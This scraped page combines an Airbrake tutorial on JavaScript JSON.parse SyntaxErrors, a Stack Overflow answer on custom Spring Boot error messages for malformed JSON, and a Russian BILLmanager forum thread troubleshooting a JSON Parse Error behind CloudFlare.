Traveling deftly through to the next item in our JavaScript Error Handling series, today we’re taking a hard look at the JSON Parse
error. The JSON Parse
error, as the name implies, surfaces when using the JSON.parse()
method that fails to pass valid JSON as an argument.
In this article, we’ll dig deeper into where JSON Parse
errors sit in the JavaScript error hierarchy, as well as when it might appear and how to handle it when it does. Let’s get started!
The Technical Rundown
- All JavaScript error objects are descendants of the
Error
object, or an inherited object therein. - The
SyntaxError
object is inherited from theError
object. - The
JSON Parse
error is a specific type ofSyntaxError
object.
When Should You Use It?
While most developers are probably intimately familiar with JSON and the proper formatting syntax it requires, it doesn’t hurt to briefly review it ourselves, to better understand some common causes of the JSON Parse
error in JavaScript.
JavaScript Object Notation
, better known as JSON
, is a human-readable text format, commonly used to transfer data across the web. The basic structure of JSON consists of objects
, which are sets of string: value
pairs surrounded by curly braces:
{
"first": "Jane",
"last": "Doe"
}
An array
is a set of values
, surrounded by brackets:
[
"Jane",
"Doe"
]
A value
can be a string
, number
, object
, array
, boolean
, or null
.
That’s really all there is to the JSON syntax. Since values
can be other objects
or arrays
, JSON can be infinitely nested (theoretically).
In JavaScript, when passing JSON to the JSON.parse()
method, the method expects properly formatted JSON as the first argument. When it detects invalid JSON, it throws a JSON Parse
error.
For example, one of the most common typos or syntax errors in JSON is adding an extra comma separator at the end of an array
or object
value
set. Notice in the first few examples above, we only use a comma to literally separate values
from one another. Here we’ll try adding an extra, or «hanging», comma after our final value
:
var printError = function(error, explicit) {
console.log(`[${explicit ? 'EXPLICIT' : 'INEXPLICIT'}] ${error.name}: ${error.message}`);
}
try {
var json = `
{
«first»: «Jane»,
«last»: «Doe»,
}
`
console.log(JSON.parse(json));
} catch (e) {
if (e instanceof SyntaxError) {
printError(e, true);
} else {
printError(e, false);
}
}
Note: We’re using the backtick (`
) string syntax to initialize our JSON, which just allows us to present it in a more readable form. Functionally, this is identical to a string that is contained on a single line.
As expected, our extraneous comma at the end throws a JSON Parse
error:
[EXPLICIT] SyntaxError: Unexpected token } in JSON at position 107
In this case, it’s telling us the }
token is unexpected, because the comma at the end informs JSON that there should be a third value
to follow.
Another common syntax issue is neglecting to surround string
values within string: value
pairs with quotations ("
). Many other language syntaxes use similar key: value
pairings to indicate named arguments and the like, so developers may find it easy to forget that JSON requires the string to be explicitly indicated using quotation marks:
var printError = function(error, explicit) {
console.log(`[${explicit ? 'EXPLICIT' : 'INEXPLICIT'}] ${error.name}: ${error.message}`);
}
try {
var json = `
{
«first»: «Jane»,
last: «Doe»,
}
`
console.log(JSON.parse(json));
} catch (e) {
if (e instanceof SyntaxError) {
printError(e, true);
} else {
printError(e, false);
}
}
Here we forgot quotations around the "last"
key string
, so we get another JSON Parse
error:
[EXPLICIT] SyntaxError: Unexpected token l in JSON at position 76
A few examples are probably sufficient to see how the JSON Parse
error comes about, but as it so happens, there are dozens of possible versions of this error, depending on how JSON was improperly formatted. Here’s the full list:
JSON Parse Error Messages |
---|
SyntaxError: JSON.parse: unterminated string literal |
SyntaxError: JSON.parse: bad control character in string literal |
SyntaxError: JSON.parse: bad character in string literal |
SyntaxError: JSON.parse: bad Unicode escape |
SyntaxError: JSON.parse: bad escape character |
SyntaxError: JSON.parse: unterminated string |
SyntaxError: JSON.parse: no number after minus sign |
SyntaxError: JSON.parse: unexpected non-digit |
SyntaxError: JSON.parse: missing digits after decimal point |
SyntaxError: JSON.parse: unterminated fractional number |
SyntaxError: JSON.parse: missing digits after exponent indicator |
SyntaxError: JSON.parse: missing digits after exponent sign |
SyntaxError: JSON.parse: exponent part is missing a number |
SyntaxError: JSON.parse: unexpected end of data |
SyntaxError: JSON.parse: unexpected keyword |
SyntaxError: JSON.parse: unexpected character |
SyntaxError: JSON.parse: end of data while reading object contents |
SyntaxError: JSON.parse: expected property name or ‘}’ |
SyntaxError: JSON.parse: end of data when ‘,’ or ‘]’ was expected |
SyntaxError: JSON.parse: expected ‘,’ or ‘]’ after array element |
SyntaxError: JSON.parse: end of data when property name was expected |
SyntaxError: JSON.parse: expected double-quoted property name |
SyntaxError: JSON.parse: end of data after property name when ‘:’ was expected |
SyntaxError: JSON.parse: expected ‘:’ after property name in object |
SyntaxError: JSON.parse: end of data after property value in object |
SyntaxError: JSON.parse: expected ‘,’ or ‘}’ after property value in object |
SyntaxError: JSON.parse: expected ‘,’ or ‘}’ after property-value pair in object literal |
SyntaxError: JSON.parse: property names must be double-quoted strings |
SyntaxError: JSON.parse: expected property name or ‘}’ |
SyntaxError: JSON.parse: unexpected character |
SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data |
To dive even deeper into understanding how your applications deal with JavaScript Errors, check out the revolutionary Airbrake JavaScript
error tracking tool for real-time alerts and instantaneous insight into what went wrong with your JavaScript code.
An Easier Way to Find JavaScript Errors
The first way to find a JSON Parse error is to go through your logs, but when you’re dealing with hundreds, if not thousands, of lines of code, it can be difficult to find that one line of broken code. With Airbrake Error and Performance Monitoring, you can skip the logs and go straight to the line of broken code resulting in the JSON Parse error.
Don’t have Airbrake? Create your free Airbrake dev account today!
Note: We published this post in February 2017 and recently updated it in April 2022.
I have a rest web service developed with Spring Boot.I am able to handle all the exceptions that occur due to my code, but suppose the json object that the client posts is not compatible with the object that i want to desrialize it with, I get
"timestamp": 1498834369591,
"status": 400,
"error": "Bad Request",
"exception": "org.springframework.http.converter.HttpMessageNotReadableException",
"message": "JSON parse error: Can not deserialize value
I wanted to know is there a way that for this exception, I can provide the client a custom exception message. I am not sure how to handle this error.
asked Jun 30, 2017 at 16:00
To customize this message per Controller, use a combination of @ExceptionHandler
and @ResponseStatus
within your Controllers:
@ResponseStatus(value = HttpStatus.BAD_REQUEST, reason = "CUSTOM MESSAGE HERE")
@ExceptionHandler(HttpMessageNotReadableException.class)
public void handleException(HttpMessageNotReadableException ex) {
//Handle Exception Here...
}
If you’d rather define this once and handle these Exceptions globally, then use a @ControllerAdvice
class:
@ControllerAdvice
public class CustomControllerAdvice {
@ResponseStatus(value = HttpStatus.BAD_REQUEST, reason = "CUSTOM MESSAGE HERE")
@ExceptionHandler(HttpMessageNotReadableException.class)
public void handleException(HttpMessageNotReadableException ex) {
//Handle Exception Here...
}
}
E-Riz
31k9 gold badges95 silver badges133 bronze badges
answered Jun 30, 2017 at 17:20
Kyle AndersonKyle Anderson
6,6711 gold badge29 silver badges41 bronze badges
3
You also can extend ResponseEntityExceptionHandler and override the method handleHttpMessageNotReadable (example in Kotlin, but very similar in Java):
override fun handleHttpMessageNotReadable(ex: HttpMessageNotReadableException, headers: HttpHeaders, status: HttpStatus, request: WebRequest): ResponseEntity<Any> {
val entity = ErrorResponse(status, ex.message ?: ex.localizedMessage, request)
return this.handleExceptionInternal(ex, entity as Any?, headers, status, request)
}
answered Aug 2, 2019 at 15:13
jpadilladevjpadilladev
1,7064 gold badges16 silver badges23 bronze badges
-
26.08.2015, 06:46
#1
Junior Member
JSON Parse Error. Func: «pricelist.edit»
Добрый день!
Проблема с использованием Billmanager последней бета-версии.
При редактировании тарифных планов или типов продуктов, в момент сохранения и передачи изменений на сервер всплывает ошибка
JSON Parse Error. Func: «pricelist.edit»
Методом тыка, выявили что ошибка возникает только при обращении к панели billmgr через url с символом «-» ( в доменном имени ).
Если заходить по IP-адресу или другому доменному имени без символа «-» то всё сохраняет без ошибок.
Используем порт https вместо 1500.
-
26.08.2015, 12:35
#2
BILLmanager team
Добрый день!
К сожалению на тестовых машинах не воспроизвелось описанное Вами поведение.
Вероятно проблема воспроизводится при дополнительных параметрах. Не могли бы вы уточнить, какой язык используется, на всех ли тарифах такое поведение, или на каком то одном типе тарифов, либо продуктов. Также может иметь значение непосредственно изменяемый параметр.
-
26.08.2015, 18:33
#3
Junior Member
Сообщение от t.sidorenko
Добрый день!
Не могли бы вы уточнить, какой язык используется, на всех ли тарифах такое поведение, или на каком то одном типе тарифов, либо продуктов. Также может иметь значение непосредственно изменяемый параметр.Решил проблему, она была как-то связана с добавленным мной для своего типа продукта /usr/local/mgr5/etc/xslt/itemname_exampletype.xsl
После его удаления и очистки кеша проблема исчезла.
Не думал что в этом причина , так как же без «-» проблема не вылезала.
Спасибо!
-
30.08.2015, 19:49
#4
Junior Member
Уточненные данные по проблеме.
При прошлом тестировании не совсем гладко были протестированы варианты.
Похоже, что указанная выше ошибка случается при использовании CloudFlare в качестве фронтенда, напрямую взаимодействующего с ihttpd на 443 порту.Сейчас поймал эту ошибку,при попытке снять галочку в таблице «сотрудники»
после прописывания hostname панели в файл hosts ( в обход cloudflare ) проблема исчезает, после возвращения трафика на clourfire появляется.Могли бы вы дать рекомендации по устранению этой проблемы?
( кроме вариантов воткнуть промежуточный nginx )
-
02.09.2015, 15:43
#5
Junior Member
-
02.09.2015, 16:36
#6
ISPsystem team
Посмотрите, что там в ответ на это запрос приходит. В разработчике хрома например http://commandlinefanatic.com/cgi-bi…article=art034
-
28.05.2016, 18:53
#7
Senior Member
Столкнулся с той же проблемой, только через не в ценах, а при сохранении изменений «Редактирование информации о сотруднике»
Выдает ошибку JSON Parse Error. Func: «employee.edit»
Chrome console выдаетjsonParseError app-desktop.min.js?v=5.56.0-2016.05.05_12:52&r=:106
Основной порт BillManager — 1400
Захожу через https://dom.exmp.ru
Если заходить через https://dom.exmp.ru:1400 то проблемы нет
-
30.05.2016, 09:40
#8
ISPsystem team
Во вкладке Network посмотрите этот запрос, что там прилетает в ответе.
-
30.05.2016, 15:48
#9
Senior Member
В какой именно вкладке?
Headers, Preview, Response?Последний раз редактировалось Gloome; 30.05.2016 в 18:03.
-
31.05.2016, 07:57
#10
ISPsystem team